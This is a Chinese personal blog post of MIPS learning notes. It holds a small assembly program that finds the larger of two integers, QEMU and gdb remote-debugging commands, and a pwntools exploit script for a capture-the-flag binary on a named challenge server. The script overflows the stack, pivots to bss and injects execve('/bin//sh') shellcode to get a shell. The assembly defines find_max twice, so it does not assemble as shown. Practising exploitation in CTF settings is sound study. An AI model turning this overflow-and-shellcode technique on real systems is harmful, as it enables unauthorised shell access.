zach0ry的个人博客

生活把我打个半死，我说哈哈，你他妈劲儿还挺大

# ----------------------------------------------------------------
# 程序功能：输入两个整数，输出其中较大的那个
# ----------------------------------------------------------------

.data
    prompt:  .asciiz "请输入两个整数（空格分隔）："
    result_msg: .asciiz "较大的数是："
    newline: .asciiz "\n"

.text
.globl main

main:
    # 1. 打印提示字符串 (syscall 4)
    li $v0, 4
    la $a0, prompt
    syscall

    # 2. 读取第一个整数 (syscall 5)，存入 $s0
    li $v0, 5
    syscall
    move $s0, $v0

    # 3. 读取第二个整数 (syscall 5)，存入 $s1
    li $v0, 5
    syscall
    move $s1, $v0

    # 4. 调用函数 find_max (参数传给 $a0, $a1)
    move $a0, $s0
    move $a1, $s1
    jal find_max       # 跳转并链接，返回地址存入 $ra
    
    move $s2, $v0      # 函数结果返回在 $v0，我们把它搬到 $s2

    # 5. 打印结果提示
    li $v0, 4
    la $a0, result_msg
    syscall

    # 6. 打印最大的数 (刚才存好的 $s2)
    li $v0, 1
    move $a0, $s2
    syscall

    # 7. 优雅退出 (syscall 10)
    li $v0, 10
    syscall

# --- 子函数：find_max ---
# 参数：$a0, $a1
# 返回值：$v0 (较大的数)
find_max:
    # 比较 $a0 < $a1
    slt $t0, $a0, $a1  # 如果 $a0 < $a1, $t0 = 1
    beq $t0, $zero, a0_is_bigger # 如果 $t0 == 0 (即 a0 >= a1)，跳转
    
    # 情况1：a1 更大
    move $v0, $a1
    jr $ra             # 返回 main

a0_is_bigger:
    # 情况2：a0 更大
    move $v0, $a0
    jr $ra             # 返回 main

find_max:
    subu $sp, $sp, 8    # 开辟栈空间
    sw $ra, 4($sp)      # 保存返回地址
    
    jal check_even      # 假设这里又调用了一个判断奇偶的子函数
    
    # ... 比较逻辑 ...
    
    lw $ra, 4($sp)
    addu $sp, $sp, 8
    jr $ra

qemu-mipsel-static -g 1234 ./mips

gdb-multiarch ./mips#启动gdb并连接
set architecture mips#说明是mips架构
set endian little#小端序
target remote :1234#通过网络连接到QEMU开启的1234端口

killall -9 qemu-mipsel-static

payload = b'a'*0x40+p32(bss+0x200-0x60+0x40+4)+p32(read_addr)

from pwn import *
context(arch='mips', os='linux', log_level='debug')
# r = process(['qemu-mipsel-static', './mips'])
file_path = "./mips"
if 're' in sys.argv:
    p = remote("challenge.imxbt.cn",32196)
else:
    # 静态链接去掉 -L 也可以，主要是 -g 方便你调试
    p = process(["qemu-mipsel-static", "-g", "1234", file_path])
elf = ELF(file_path)

sc = asm('''
    li $a2, 0
    li $a1, 0
    li $t0, 0x68732f2f
    sw $t0, -8($sp)
    li $t0, 0x6e69622f
    sw $t0, -12($sp)
    addiu $a0, $sp, -12
    li $v0, 4011
    syscall
''')

print(len(sc))

read_addr = 0x400860
bss=0x00492790
payload = b'a'*0x40+p32(bss+0x200-0x60+0x40+4)+p32(read_addr)
p.send(payload)

payload = b'a'*0x44+p32(bss+0x200+0x40+4)+asm(shellcraft.sh())
p.send(payload)
p.interactive()